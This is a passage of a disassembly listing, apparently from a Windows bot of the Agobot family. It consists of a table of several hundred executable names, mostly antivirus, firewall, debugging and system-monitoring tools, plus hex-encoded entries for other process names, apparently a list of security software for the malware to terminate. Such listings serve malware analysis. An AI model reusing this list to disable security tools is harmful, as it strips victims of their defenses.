		dd offset aWradmin_exe	; "WRADMIN.EXE"
		dd offset aWrctrl_exe	; "WRCTRL.EXE"
		dd offset aWsbgate_exe	; "WSBGATE.EXE"
		dd offset aWupdater_exe	; "WUPDATER.EXE"
		dd offset aWupdt_exe	; "WUPDT.EXE"
		dd offset aWyvernworksfir ; "WYVERNWORKSFIREWALL.EXE"
		dd offset aXpf202en_exe	; "XPF202EN.EXE"
		dd offset aZapro_exe	; "ZAPRO.EXE"
		dd offset aZapsetup3001_e ; "ZAPSETUP3001.EXE"
		dd offset aZatutor_exe	; "ZATUTOR.EXE"
		dd offset aZonalm2601_exe ; "ZONALM2601.EXE"
		dd offset aZonealarm_exe ; "ZONEALARM.EXE"
		dd offset a_avp32_exe	; "_AVP32.EXE"
		dd offset a_avpcc_exe	; "_AVPCC.EXE"
		dd offset a_avpm_exe	; "_AVPM.EXE"
		dd offset aHijackthis_exe ; "HIJACKTHIS.EXE"
		dd offset aFAgobot_exe	; "F-AGOBOT.EXE"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset dword_435068
		dd offset dword_43505C
		dd offset dword_435050
		dd offset dword_435044
		dd offset dword_435034
		dd offset dword_435028
		dd offset dword_43501C
		dd offset dword_435010
		dd offset dword_435004
		dd offset dword_434FF4
		dd offset dword_434FE8
		dd offset dword_434FD8
dword_434FD8	dd 72313169h, 346E3435h, 6578652Eh, 0					; seg001:00434FD4o
dword_434FE8	dd 6E757269h, 78652E34h, 65hdword_434FF4	dd 75643364h, 74616470h, 78652E65h, 65hdword_435004	dd 65746172h, 6578652Eh, 0dword_435010	dd 74617373h, 78652E65h, 65hdword_43501C	dd 736E6977h, 652E7379h, 6578hdword_435028	dd 756E6977h, 652E6470h, 6578hdword_435034	dd 4D737953h, 50586E6Fh, 6578652Eh, 0dword_435044	dd 61656262h, 2E656C67h, 657865hdword_435050	dd 696E6550h, 2E323373h, 657865hdword_43505C	dd 7663736Dh, 2E323362h, 657865hdword_435068	dd 69737973h, 2E6F666Eh, 657865haPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: seg001:00434FA4o
		align 4
aFAgobot_exe	db 'F-AGOBOT.EXE',0     ; DATA XREF: seg001:00434FA0o
		align 4
aHijackthis_exe	db 'HIJACKTHIS.EXE',0   ; DATA XREF: seg001:00434F9Co
		align 4
a_avpm_exe	db '_AVPM.EXE',0        ; DATA XREF: seg001:00434F98o
		align 4
a_avpcc_exe	db '_AVPCC.EXE',0       ; DATA XREF: seg001:00434F94o
		align 10h
a_avp32_exe	db '_AVP32.EXE',0       ; DATA XREF: seg001:00434F90o
		align 4
aZonealarm_exe	db 'ZONEALARM.EXE',0    ; DATA XREF: seg001:00434F8Co
		align 4
aZonalm2601_exe	db 'ZONALM2601.EXE',0   ; DATA XREF: seg001:00434F88o
		align 4
aZatutor_exe	db 'ZATUTOR.EXE',0      ; DATA XREF: seg001:00434F84o
aZapsetup3001_e	db 'ZAPSETUP3001.EXE',0 ; DATA XREF: seg001:00434F80o
		align 4
aZapro_exe	db 'ZAPRO.EXE',0        ; DATA XREF: seg001:00434F7Co
		align 4
aXpf202en_exe	db 'XPF202EN.EXE',0     ; DATA XREF: seg001:00434F78o
		align 4
aWyvernworksfir	db 'WYVERNWORKSFIREWALL.EXE',0 ; DATA XREF: seg001:00434F74o
aWupdt_exe	db 'WUPDT.EXE',0        ; DATA XREF: seg001:00434F70o
		align 4
aWupdater_exe	db 'WUPDATER.EXE',0     ; DATA XREF: seg001:00434F6Co
		align 4
aWsbgate_exe	db 'WSBGATE.EXE',0      ; DATA XREF: seg001:00434F68o
aWrctrl_exe	db 'WRCTRL.EXE',0       ; DATA XREF: seg001:00434F64o
		align 4
aWradmin_exe	db 'WRADMIN.EXE',0      ; DATA XREF: seg001:00434F60o
aWnt_exe	db 'WNT.EXE',0          ; DATA XREF: seg001:00434F5Co
aWnad_exe	db 'WNAD.EXE',0         ; DATA XREF: seg001:00434F58o
		align 4
aWkufind_exe	db 'WKUFIND.EXE',0      ; DATA XREF: seg001:00434F54o
aWinupdate_exe	db 'WINUPDATE.EXE',0    ; DATA XREF: seg001:00434F50o
		align 10h
aWintsk32_exe	db 'WINTSK32.EXE',0     ; DATA XREF: seg001:00434F4Co
		align 10h
aWinstart001_ex	db 'WINSTART001.EXE',0  ; DATA XREF: seg001:00434F48o
aWinstart_exe	db 'WINSTART.EXE',0     ; DATA XREF: seg001:00434F44o
		align 10h
aWinssk32_exe	db 'WINSSK32.EXE',0     ; DATA XREF: seg001:00434F40o
		align 10h
aWinservn_exe	db 'WINSERVN.EXE',0     ; DATA XREF: seg001:00434F3Co
		align 10h
aWinrecon_exe	db 'WINRECON.EXE',0     ; DATA XREF: seg001:00434F38o
		align 10h
aWinppr32_exe	db 'WINPPR32.EXE',0     ; DATA XREF: seg001:00434F34o
		align 10h
aWinnet_exe	db 'WINNET.EXE',0       ; DATA XREF: seg001:00434F30o
		align 4
aWinmain_exe	db 'WINMAIN.EXE',0      ; DATA XREF: seg001:00434F2Co
aWinlogin_exe	db 'WINLOGIN.EXE',0     ; DATA XREF: seg001:00434F28o
		align 4
aWininitx_exe	db 'WININITX.EXE',0     ; DATA XREF: seg001:00434F24o
					; seg001:off_421CB4o
		align 4
aWininit_exe	db 'WININIT.EXE',0      ; DATA XREF: seg001:00434F20o
aWininetd_exe	db 'WININETD.EXE',0     ; DATA XREF: seg001:00434F1Co
		align 4
aWindows_exe	db 'WINDOWS.EXE',0      ; DATA XREF: seg001:00434F18o
aWindow_exe	db 'WINDOW.EXE',0       ; DATA XREF: seg001:00434F14o
		align 4
aWinactive_exe	db 'WINACTIVE.EXE',0    ; DATA XREF: seg001:00434F10o
		align 4
aWin32us_exe	db 'WIN32US.EXE',0      ; DATA XREF: seg001:00434F0Co
aWin32_exe	db 'WIN32.EXE',0        ; DATA XREF: seg001:00434F08o
		align 4
aWinBugsfix_exe	db 'WIN-BUGSFIX.EXE',0  ; DATA XREF: seg001:00434F04o
aWimmun32_exe	db 'WIMMUN32.EXE',0     ; DATA XREF: seg001:00434F00o
		align 4
aWhoswatchingme	db 'WHOSWATCHINGME.EXE',0 ; DATA XREF: seg001:00434EFCo
		align 4
aWgfe95_exe	db 'WGFE95.EXE',0       ; DATA XREF: seg001:00434EF8o
		align 4
aWfindv32_exe	db 'WFINDV32.EXE',0     ; DATA XREF: seg001:00434EF4o
		align 4
aWebtrap_exe	db 'WEBTRAP.EXE',0      ; DATA XREF: seg001:00434EF0o
aWebscanx_exe	db 'WEBSCANX.EXE',0     ; DATA XREF: seg001:00434EECo
		align 10h
aWebdav_exe	db 'WEBDAV.EXE',0       ; DATA XREF: seg001:00434EE8o
		align 4
aWatchdog_exe	db 'WATCHDOG.EXE',0     ; DATA XREF: seg001:00434EE4o
		align 4
aW9x_exe	db 'W9X.EXE',0          ; DATA XREF: seg001:00434EE0o
aW32dsm89_exe	db 'W32DSM89.EXE',0     ; DATA XREF: seg001:00434EDCo
		align 4
aVswinperse_exe	db 'VSWINPERSE.EXE',0   ; DATA XREF: seg001:00434ED8o
		align 4
aVswinntse_exe	db 'VSWINNTSE.EXE',0    ; DATA XREF: seg001:00434ED4o
		align 4
aVswin9xe_exe	db 'VSWIN9XE.EXE',0     ; DATA XREF: seg001:00434ED0o
		align 4
aVsstat_exe	db 'VSSTAT.EXE',0       ; DATA XREF: seg001:00434ECCo
		align 10h
aVsmon_exe	db 'VSMON.EXE',0        ; DATA XREF: seg001:00434EC8o
		align 4
aVsmain_exe	db 'VSMAIN.EXE',0       ; DATA XREF: seg001:00434EC4o
		align 4
aVsisetup_exe	db 'VSISETUP.EXE',0     ; DATA XREF: seg001:00434EC0o
		align 4
aVshwin32_exe	db 'VSHWIN32.EXE',0     ; DATA XREF: seg001:00434EBCo
		align 4
aVsecomr_exe	db 'VSECOMR.EXE',0      ; DATA XREF: seg001:00434EB8o
aVsched_exe	db 'VSCHED.EXE',0       ; DATA XREF: seg001:00434EB4o
		align 10h
aVscenu6_02d30_	db 'VSCENU6.02D30.EXE',0 ; DATA XREF: seg001:00434EB0o
		align 4
aVscan40_exe	db 'VSCAN40.EXE',0      ; DATA XREF: seg001:00434EACo
aVptray_exe	db 'VPTRAY.EXE',0       ; DATA XREF: seg001:00434EA8o
		align 4
aVpfw30s_exe	db 'VPFW30S.EXE',0      ; DATA XREF: seg001:00434EA4o
aVpc42_exe	db 'VPC42.EXE',0        ; DATA XREF: seg001:00434EA0o
		align 4
aVpc32_exe	db 'VPC32.EXE',0        ; DATA XREF: seg001:00434E9Co
		align 10h
aVnpc3000_exe	db 'VNPC3000.EXE',0     ; DATA XREF: seg001:00434E98o
		align 10h
aVnlan300_exe	db 'VNLAN300.EXE',0     ; DATA XREF: seg001:00434E94o
		align 10h
aVirusmdpersona	db 'VIRUSMDPERSONALFIREWALL.EXE',0 ; DATA XREF: seg001:00434E90o
aVirHelp_exe	db 'VIR-HELP.EXE',0     ; DATA XREF: seg001:00434E8Co
		align 4
aVfsetup_exe	db 'VFSETUP.EXE',0      ; DATA XREF: seg001:00434E88o
aVettray_exe	db 'VETTRAY.EXE',0      ; DATA XREF: seg001:00434E84o
aVet95_exe	db 'VET95.EXE',0        ; DATA XREF: seg001:00434E80o
		align 10h
aVet32_exe	db 'VET32.EXE',0        ; DATA XREF: seg001:00434E7Co
		align 4
aVcsetup_exe	db 'VCSETUP.EXE',0      ; DATA XREF: seg001:00434E78o
aVbwinntw_exe	db 'VBWINNTW.EXE',0     ; DATA XREF: seg001:00434E74o
		align 4
aVbwin9x_exe	db 'VBWIN9X.EXE',0      ; DATA XREF: seg001:00434E70o
aVbust_exe	db 'VBUST.EXE',0        ; DATA XREF: seg001:00434E6Co
		align 10h
aVbcons_exe	db 'VBCONS.EXE',0       ; DATA XREF: seg001:00434E68o
		align 4
aVbcmserv_exe	db 'VBCMSERV.EXE',0     ; DATA XREF: seg001:00434E64o
		align 4
aUtpost_exe	db 'UTPOST.EXE',0       ; DATA XREF: seg001:00434E60o
		align 4
aUpgrad_exe	db 'UPGRAD.EXE',0       ; DATA XREF: seg001:00434E5Co
		align 4
aUpdate_exe	db 'UPDATE.EXE',0       ; DATA XREF: seg001:00434E54o
					; seg001:00434E58o
		align 10h
aUpdat_exe	db 'UPDAT.EXE',0        ; DATA XREF: seg001:00434E50o
		align 4
aUndoboot_exe	db 'UNDOBOOT.EXE',0     ; DATA XREF: seg001:00434E4Co
		align 4
aTvtmd_exe	db 'TVTMD.EXE',0        ; DATA XREF: seg001:00434E48o
		align 4
aTvmd_exe	db 'TVMD.EXE',0         ; DATA XREF: seg001:00434E44o
		align 4
aTsadbot_exe	db 'TSADBOT.EXE',0      ; DATA XREF: seg001:00434E40o
aTrojantrap3_ex	db 'TROJANTRAP3.EXE',0  ; DATA XREF: seg001:00434E3Co
aTrjsetup_exe	db 'TRJSETUP.EXE',0     ; DATA XREF: seg001:00434E38o
		align 10h
aTrjscan_exe	db 'TRJSCAN.EXE',0      ; DATA XREF: seg001:00434E34o
aTrickler_exe	db 'TRICKLER.EXE',0     ; DATA XREF: seg001:00434E30o
		align 4
aTracert_exe	db 'TRACERT.EXE',0      ; DATA XREF: seg001:00434E2Co
aTitaninxp_exe	db 'TITANINXP.EXE',0    ; DATA XREF: seg001:00434E28o
		align 4
aTitanin_exe	db 'TITANIN.EXE',0      ; DATA XREF: seg001:00434E24o
aTgbob_exe	db 'TGBOB.EXE',0        ; DATA XREF: seg001:00434E20o
		align 10h
aTfak5_exe	db 'TFAK5.EXE',0        ; DATA XREF: seg001:00434E1Co
		align 4
aTfak_exe	db 'TFAK.EXE',0         ; DATA XREF: seg001:00434E18o
		align 4
aTeekids_exe	db 'TEEKIDS.EXE',0      ; DATA XREF: seg001:00434E14o
aTds2Nt_exe	db 'TDS2-NT.EXE',0      ; DATA XREF: seg001:00434E10o
aTds298_exe	db 'TDS2-98.EXE',0      ; DATA XREF: seg001:00434E0Co
aTds3_exe	db 'TDS-3.EXE',0        ; DATA XREF: seg001:00434E08o
		align 4
aTcm_exe	db 'TCM.EXE',0          ; DATA XREF: seg001:00434E04o
aTca_exe	db 'TCA.EXE',0          ; DATA XREF: seg001:00434E00o
aTc_exe		db 'TC.EXE',0           ; DATA XREF: seg001:00434DFCo
		align 10h
aTbscan_exe	db 'TBSCAN.EXE',0       ; DATA XREF: seg001:00434DF8o
		align 4
aTaumon_exe	db 'TAUMON.EXE',0       ; DATA XREF: seg001:00434DF4o
		align 4
aTaskmon_exe	db 'TASKMON.EXE',0      ; DATA XREF: seg001:00434DF0o
aTaskmo_exe	db 'TASKMO.EXE',0       ; DATA XREF: seg001:00434DECo
		align 10h
aTaskmg_exe	db 'TASKMG.EXE',0       ; DATA XREF: seg001:00434DE8o
		align 4
aSysupd_exe	db 'SYSUPD.EXE',0       ; DATA XREF: seg001:00434DE4o
		align 4
aSystem32_exe	db 'SYSTEM32.EXE',0     ; DATA XREF: seg001:00434DE0o
		align 4
aSystem_exe	db 'SYSTEM.EXE',0       ; DATA XREF: seg001:00434DDCo
		align 4
aSysedit_exe	db 'SYSEDIT.EXE',0      ; DATA XREF: seg001:00434DD8o
aSymtray_exe	db 'SYMTRAY.EXE',0      ; DATA XREF: seg001:00434DD4o
aSymproxysvc_ex	db 'SYMPROXYSVC.EXE',0  ; DATA XREF: seg001:00434DD0o
aSweepnet_sweep	db 'SWEEPNET.SWEEPSRV.SYS.SWNETSUP.EXE',0 ; DATA XREF: seg001:00434DCCo
		align 10h
aSweep95_exe	db 'SWEEP95.EXE',0      ; DATA XREF: seg001:00434DC8o
aSvshost_exe	db 'SVSHOST.EXE',0      ; DATA XREF: seg001:00434DC4o
aSvchosts_exe	db 'SVCHOSTS.EXE',0     ; DATA XREF: seg001:00434DC0o
		align 4
aSvchostc_exe	db 'SVCHOSTC.EXE',0     ; DATA XREF: seg001:00434DBCo
		align 4
aSvc_exe	db 'SVC.EXE',0          ; DATA XREF: seg001:00434DB8o
aSupporter5_exe	db 'SUPPORTER5.EXE',0   ; DATA XREF: seg001:00434DB4o
		align 10h
aSupport_exe	db 'SUPPORT.EXE',0      ; DATA XREF: seg001:00434DB0o
aSupftrl_exe	db 'SUPFTRL.EXE',0      ; DATA XREF: seg001:00434DACo
aStcloader_exe	db 'STCLOADER.EXE',0    ; DATA XREF: seg001:00434DA8o
		align 4
aStart_exe	db 'START.EXE',0        ; DATA XREF: seg001:00434DA4o
		align 4
aSt2_exe	db 'ST2.EXE',0          ; DATA XREF: seg001:00434DA0o
aSsg_4104_exe	db 'SSG_4104.EXE',0     ; DATA XREF: seg001:00434D9Co
		align 4
aSsgrate_exe	db 'SSGRATE.EXE',0      ; DATA XREF: seg001:00434D98o
aSs3edit_exe	db 'SS3EDIT.EXE',0      ; DATA XREF: seg001:00434D94o
aSrng_exe	db 'SRNG.EXE',0         ; DATA XREF: seg001:00434D90o
		align 10h
aSrexe_exe	db 'SREXE.EXE',0        ; DATA XREF: seg001:00434D8Co
		align 4
aSpyxx_exe	db 'SPYXX.EXE',0        ; DATA XREF: seg001:00434D88o
		align 4
aSpoolsv32_exe	db 'SPOOLSV32.EXE',0    ; DATA XREF: seg001:00434D84o
		align 4
aSpoolcv_exe	db 'SPOOLCV.EXE',0      ; DATA XREF: seg001:00434D80o
aSpoler_exe	db 'SPOLER.EXE',0       ; DATA XREF: seg001:00434D7Co
		align 10h
aSphinx_exe	db 'SPHINX.EXE',0       ; DATA XREF: seg001:00434D78o
		align 4
aSpf_exe	db 'SPF.EXE',0          ; DATA XREF: seg001:00434D74o
aSperm_exe	db 'SPERM.EXE',0        ; DATA XREF: seg001:00434D70o
		align 10h
aSofi_exe	db 'SOFI.EXE',0         ; DATA XREF: seg001:00434D6Co
		align 4
aSoap_exe	db 'SOAP.EXE',0         ; DATA XREF: seg001:00434D68o
		align 4
aSmss32_exe	db 'SMSS32.EXE',0       ; DATA XREF: seg001:00434D64o
		align 4
aSms_exe	db 'SMS.EXE',0          ; DATA XREF: seg001:00434D60o
aSmc_exe	db 'SMC.EXE',0          ; DATA XREF: seg001:00434D5Co
aShowbehind_exe	db 'SHOWBEHIND.EXE',0   ; DATA XREF: seg001:00434D58o
		align 4
aShn_exe	db 'SHN.EXE',0          ; DATA XREF: seg001:00434D54o
aShellspyinstal	db 'SHELLSPYINSTALL.EXE',0 ; DATA XREF: seg001:00434D50o
aSh_exe		db 'SH.EXE',0           ; DATA XREF: seg001:00434D4Co
		align 4
aSgssfw32_exe	db 'SGSSFW32.EXE',0     ; DATA XREF: seg001:00434D48o
		align 4
aSfc_exe	db 'SFC.EXE',0          ; DATA XREF: seg001:00434D44o
aSetup_flowprot	db 'SETUP_FLOWPROTECTOR_US.EXE',0 ; DATA XREF: seg001:00434D40o
		align 4
aSetupvameeval_	db 'SETUPVAMEEVAL.EXE',0 ; DATA XREF: seg001:00434D3Co
		align 10h
aServlces_exe	db 'SERVLCES.EXE',0     ; DATA XREF: seg001:00434D38o
		align 10h
aServlce_exe	db 'SERVLCE.EXE',0      ; DATA XREF: seg001:00434D34o
aService_exe	db 'SERVICE.EXE',0      ; DATA XREF: seg001:00434D30o
aServ95_exe	db 'SERV95.EXE',0       ; DATA XREF: seg001:00434D2Co
		align 4
aSd_exe		db 'SD.EXE',0           ; DATA XREF: seg001:00434D28o
		align 4
aScvhost_exe	db 'SCVHOST.EXE',0      ; DATA XREF: seg001:00434D24o
aScrsvr_exe	db 'SCRSVR.EXE',0       ; DATA XREF: seg001:00434D20o
		align 4
aScrscan_exe	db 'SCRSCAN.EXE',0      ; DATA XREF: seg001:00434D1Co
aScanpm_exe	db 'SCANPM.EXE',0       ; DATA XREF: seg001:00434D18o
		align 4
aScan95_exe	db 'SCAN95.EXE',0       ; DATA XREF: seg001:00434D14o
		align 4
aScan32_exe	db 'SCAN32.EXE',0       ; DATA XREF: seg001:00434D10o
		align 4
aScam32_exe	db 'SCAM32.EXE',0       ; DATA XREF: seg001:00434D0Co
		align 10h
aSc_exe		db 'SC.EXE',0           ; DATA XREF: seg001:00434D08o
		align 4
aSbserv_exe	db 'SBSERV.EXE',0       ; DATA XREF: seg001:00434D04o
		align 4
aSavenow_exe	db 'SAVENOW.EXE',0      ; DATA XREF: seg001:00434D00o
aSave_exe	db 'SAVE.EXE',0         ; DATA XREF: seg001:00434CFCo
		align 4
aSahagent_exe	db 'SAHAGENT.EXE',0     ; DATA XREF: seg001:00434CF8o
		align 4
aSafeweb_exe	db 'SAFEWEB.EXE',0      ; DATA XREF: seg001:00434CF4o
aRuxdll32_exe	db 'RUXDLL32.EXE',0     ; DATA XREF: seg001:00434CF0o
		align 4
aRundll16_exe	db 'RUNDLL16.EXE',0     ; DATA XREF: seg001:00434CECo
		align 4
aRundll_exe	db 'RUNDLL.EXE',0       ; DATA XREF: seg001:00434CE8o
		align 4
aRun32dll_exe	db 'RUN32DLL.EXE',0     ; DATA XREF: seg001:00434CE4o
		align 4
aRulaunch_exe	db 'RULAUNCH.EXE',0     ; DATA XREF: seg001:00434CE0o
		align 4
aRtvscn95_exe	db 'RTVSCN95.EXE',0     ; DATA XREF: seg001:00434CDCo
		align 4
aRtvscan_exe	db 'RTVSCAN.EXE',0      ; DATA XREF: seg001:00434CD8o
aRshell_exe	db 'RSHELL.EXE',0       ; DATA XREF: seg001:00434CD4o
		align 4
aRrguard_exe	db 'RRGUARD.EXE',0      ; DATA XREF: seg001:00434CD0o
aRescue32_exe	db 'RESCUE32.EXE',0     ; DATA XREF: seg001:00434CCCo
		align 4
aRescue_exe	db 'RESCUE.EXE',0       ; DATA XREF: seg001:00434CC8o
		align 4
aRegedt32_exe	db 'REGEDT32.EXE',0     ; DATA XREF: seg001:00434CC4o
		align 4
aRegedit_exe	db 'REGEDIT.EXE',0      ; DATA XREF: seg001:00434CC0o
aReged_exe	db 'REGED.EXE',0        ; DATA XREF: seg001:00434CBCo
		align 4
aRealmon_exe	db 'REALMON.EXE',0      ; DATA XREF: seg001:00434CB8o
aRcsync_exe	db 'RCSYNC.EXE',0       ; DATA XREF: seg001:00434CB4o
		align 4
aRb32_exe	db 'RB32.EXE',0         ; DATA XREF: seg001:00434CB0o
		align 10h
aRay_exe	db 'RAY.EXE',0          ; DATA XREF: seg001:00434CACo
aRav8win32eng_e	db 'RAV8WIN32ENG.EXE',0 ; DATA XREF: seg001:00434CA8o
		align 4
aRav7win_exe	db 'RAV7WIN.EXE',0      ; DATA XREF: seg001:00434CA4o
aRav7_exe	db 'RAV7.EXE',0         ; DATA XREF: seg001:00434CA0o
		align 4
aRapapp_exe	db 'RAPAPP.EXE',0       ; DATA XREF: seg001:00434C9Co
		align 10h
aQserver_exe	db 'QSERVER.EXE',0      ; DATA XREF: seg001:00434C98o
aQconsole_exe	db 'QCONSOLE.EXE',0     ; DATA XREF: seg001:00434C94o
		align 4
aPview95_exe	db 'PVIEW95.EXE',0      ; DATA XREF: seg001:00434C90o
aPussy_exe	db 'PUSSY.EXE',0        ; DATA XREF: seg001:00434C8Co
		align 4
aPurge_exe	db 'PURGE.EXE',0        ; DATA XREF: seg001:00434C88o
		align 10h
aPspf_exe	db 'PSPF.EXE',0         ; DATA XREF: seg001:00434C84o
		align 4
aProtectx_exe	db 'PROTECTX.EXE',0     ; DATA XREF: seg001:00434C80o
		align 4
aProport_exe	db 'PROPORT.EXE',0      ; DATA XREF: seg001:00434C7Co
aProgramauditor	db 'PROGRAMAUDITOR.EXE',0 ; DATA XREF: seg001:00434C78o
		align 4
aProcexplorerv1	db 'PROCEXPLORERV1.0.EXE',0 ; DATA XREF: seg001:00434C74o
		align 4
aProcessmonitor	db 'PROCESSMONITOR.EXE',0 ; DATA XREF: seg001:00434C70o
		align 4
aProcdump_exe	db 'PROCDUMP.EXE',0     ; DATA XREF: seg001:00434C6Co
		align 4
aPrmvr_exe	db 'PRMVR.EXE',0        ; DATA XREF: seg001:00434C68o
		align 4
aPrmt_exe	db 'PRMT.EXE',0         ; DATA XREF: seg001:00434C64o
		align 10h
aPrizesurfer_ex	db 'PRIZESURFER.EXE',0  ; DATA XREF: seg001:00434C60o
aPpvstop_exe	db 'PPVSTOP.EXE',0      ; DATA XREF: seg001:00434C5Co
aPptbc_exe	db 'PPTBC.EXE',0        ; DATA XREF: seg001:00434C58o
		align 4
aPpinupdt_exe	db 'PPINUPDT.EXE',0     ; DATA XREF: seg001:00434C54o
		align 4
aPowerscan_exe	db 'POWERSCAN.EXE',0    ; DATA XREF: seg001:00434C50o
		align 4
aPortmonitor_ex	db 'PORTMONITOR.EXE',0  ; DATA XREF: seg001:00434C4Co
aPortdetective_	db 'PORTDETECTIVE.EXE',0 ; DATA XREF: seg001:00434C48o
		align 4
aPopscan_exe	db 'POPSCAN.EXE',0      ; DATA XREF: seg001:00434C44o
aPoproxy_exe	db 'POPROXY.EXE',0      ; DATA XREF: seg001:00434C40o
aPop3trap_exe	db 'POP3TRAP.EXE',0     ; DATA XREF: seg001:00434C3Co
		align 4
aPlatin_exe	db 'PLATIN.EXE',0       ; DATA XREF: seg001:00434C38o
		align 10h
aPingscan_exe	db 'PINGSCAN.EXE',0     ; DATA XREF: seg001:00434C34o
		align 10h
aPgmonitr_exe	db 'PGMONITR.EXE',0     ; DATA XREF: seg001:00434C30o
		align 10h
aPfwadmin_exe	db 'PFWADMIN.EXE',0     ; DATA XREF: seg001:00434C2Co
		align 10h
aPf2_exe	db 'PF2.EXE',0          ; DATA XREF: seg001:00434C28o
aPerswf_exe	db 'PERSWF.EXE',0       ; DATA XREF: seg001:00434C24o
		align 4
aPersfw_exe	db 'PERSFW.EXE',0       ; DATA XREF: seg001:00434C20o
		align 10h
aPeriscope_exe	db 'PERISCOPE.EXE',0    ; DATA XREF: seg001:00434C1Co
		align 10h
aPenis_exe	db 'PENIS.EXE',0        ; DATA XREF: seg001:00434C18o
		align 4
aPdsetup_exe	db 'PDSETUP.EXE',0      ; DATA XREF: seg001:00434C14o
aPcscan_exe	db 'PCSCAN.EXE',0       ; DATA XREF: seg001:00434C10o
		align 4
aPcip10117_0_ex	db 'PCIP10117_0.EXE',0  ; DATA XREF: seg001:00434C0Co
aPcfwallicon_ex	db 'PCFWALLICON.EXE',0  ; DATA XREF: seg001:00434C08o
aPcdsetup_exe	db 'PCDSETUP.EXE',0     ; DATA XREF: seg001:00434C04o
		align 4
aPccwin98_exe	db 'PCCWIN98.EXE',0     ; DATA XREF: seg001:00434C00o
		align 4
aPccwin97_exe	db 'PCCWIN97.EXE',0     ; DATA XREF: seg001:00434BFCo
		align 4
aPccntmon_exe	db 'PCCNTMON.EXE',0     ; DATA XREF: seg001:00434BF8o
		align 4
aPcciomon_exe	db 'PCCIOMON.EXE',0     ; DATA XREF: seg001:00434BF4o
		align 4
aPcc2k_76_1436_	db 'PCC2K_76_1436.EXE',0 ; DATA XREF: seg001:00434BF0o
		align 4
aPcc2002s902_ex	db 'PCC2002S902.EXE',0  ; DATA XREF: seg001:00434BECo
aPavw_exe	db 'PAVW.EXE',0         ; DATA XREF: seg001:00434BE8o
		align 4
aPavsched_exe	db 'PAVSCHED.EXE',0     ; DATA XREF: seg001:00434BE4o
		align 4
aPavproxy_exe	db 'PAVPROXY.EXE',0     ; DATA XREF: seg001:00434BE0o
		align 4
aPavcl_exe	db 'PAVCL.EXE',0        ; DATA XREF: seg001:00434BDCo
		align 10h
aPatch_exe	db 'PATCH.EXE',0        ; DATA XREF: seg001:00434BD8o
		align 4
aPanixk_exe	db 'PANIXK.EXE',0       ; DATA XREF: seg001:00434BD4o
		align 4
aPadmin_exe	db 'PADMIN.EXE',0       ; DATA XREF: seg001:00434BD0o
		align 4
aOutpostproinst	db 'OUTPOSTPROINSTALL.EXE',0 ; DATA XREF: seg001:00434BCCo
		align 4
aOutpostinstall	db 'OUTPOSTINSTALL.EXE',0 ; DATA XREF: seg001:00434BC8o
		align 10h
aOutpost_exe	db 'OUTPOST.EXE',0      ; DATA XREF: seg001:00434BC0o
					; seg001:00434BC4o
aOtfix_exe	db 'OTFIX.EXE',0        ; DATA XREF: seg001:00434BBCo
		align 4
aOstronet_exe	db 'OSTRONET.EXE',0     ; DATA XREF: seg001:00434BB8o
		align 4
aOptimize_exe	db 'OPTIMIZE.EXE',0     ; DATA XREF: seg001:00434BB4o
		align 4
aOnsrvr_exe	db 'ONSRVR.EXE',0       ; DATA XREF: seg001:00434BB0o
		align 4
aOllydbg_exe	db 'OLLYDBG.EXE',0      ; DATA XREF: seg001:00434BACo
aNwtool16_exe	db 'NWTOOL16.EXE',0     ; DATA XREF: seg001:00434BA8o
		align 10h
aNwservice_exe	db 'NWSERVICE.EXE',0    ; DATA XREF: seg001:00434BA4o
		align 10h
aNwinst4_exe	db 'NWINST4.EXE',0      ; DATA XREF: seg001:00434BA0o
aNvsvc32_exe	db 'NVSVC32.EXE',0      ; DATA XREF: seg001:00434B9Co
aNvc95_exe	db 'NVC95.EXE',0        ; DATA XREF: seg001:00434B98o
		align 4
aNvarch16_exe	db 'NVARCH16.EXE',0     ; DATA XREF: seg001:00434B94o
		align 4
aNupgrade_exe	db 'NUPGRADE.EXE',0     ; DATA XREF: seg001:00434B8Co
					; seg001:00434B90o
		align 4
aNui_exe	db 'NUI.EXE',0          ; DATA XREF: seg001:00434B88o
aNtxconfig_exe	db 'NTXconfig.EXE',0    ; DATA XREF: seg001:00434B84o
		align 4
aNtvdm_exe	db 'NTVDM.EXE',0        ; DATA XREF: seg001:00434B80o
		align 4
aNtrtscan_exe	db 'NTRTSCAN.EXE',0     ; DATA XREF: seg001:00434B7Co
		align 4
aNt_exe		db 'NT.EXE',0           ; DATA XREF: seg001:00434B78o
		align 10h
aNsupdate_exe	db 'NSUPDATE.EXE',0     ; DATA XREF: seg001:00434B74o
		align 10h
aNstask32_exe	db 'NSTASK32.EXE',0     ; DATA XREF: seg001:00434B70o
		align 10h
aNssys32_exe	db 'NSSYS32.EXE',0      ; DATA XREF: seg001:00434B6Co
aNsched32_exe	db 'NSCHED32.EXE',0     ; DATA XREF: seg001:00434B68o
		align 4
aNpssvc_exe	db 'NPSSVC.EXE',0       ; DATA XREF: seg001:00434B64o
		align 4
aNpscheck_exe	db 'NPSCHECK.EXE',0     ; DATA XREF: seg001:00434B60o
		align 4
aNprotect_exe	db 'NPROTECT.EXE',0     ; DATA XREF: seg001:00434B5Co
		align 4
aNpfmessenger_e	db 'NPFMESSENGER.EXE',0 ; DATA XREF: seg001:00434B58o
		align 4
aNpf40_tw_98_nt	db 'NPF40_TW_98_NT_ME_2K.EXE',0 ; DATA XREF: seg001:00434B54o
		align 4
aNotstart_exe	db 'NOTSTART.EXE',0     ; DATA XREF: seg001:00434B50o
		align 4
aNorton_interne	db 'NORTON_INTERNET_SECU_3.0_407.EXE',0 ; DATA XREF: seg001:00434B4Co
		align 4
aNormist_exe	db 'NORMIST.EXE',0      ; DATA XREF: seg001:00434B48o
aNod32_exe	db 'NOD32.EXE',0        ; DATA XREF: seg001:00434B44o
		align 4
aNmain_exe	db 'NMAIN.EXE',0        ; DATA XREF: seg001:00434B40o
		align 10h
aNisum_exe	db 'NISUM.EXE',0        ; DATA XREF: seg001:00434B3Co
		align 4
aNisserv_exe	db 'NISSERV.EXE',0      ; DATA XREF: seg001:00434B38o
aNetutils_exe	db 'NETUTILS.EXE',0     ; DATA XREF: seg001:00434B34o
		align 4
aNetstat_exe	db 'NETSTAT.EXE',0      ; DATA XREF: seg001:00434B30o
aNetspyhunter1_	db 'NETSPYHUNTER-1.2.EXE',0 ; DATA XREF: seg001:00434B2Co
		align 4
aNetscanpro_exe	db 'NETSCANPRO.EXE',0   ; DATA XREF: seg001:00434B28o
		align 4
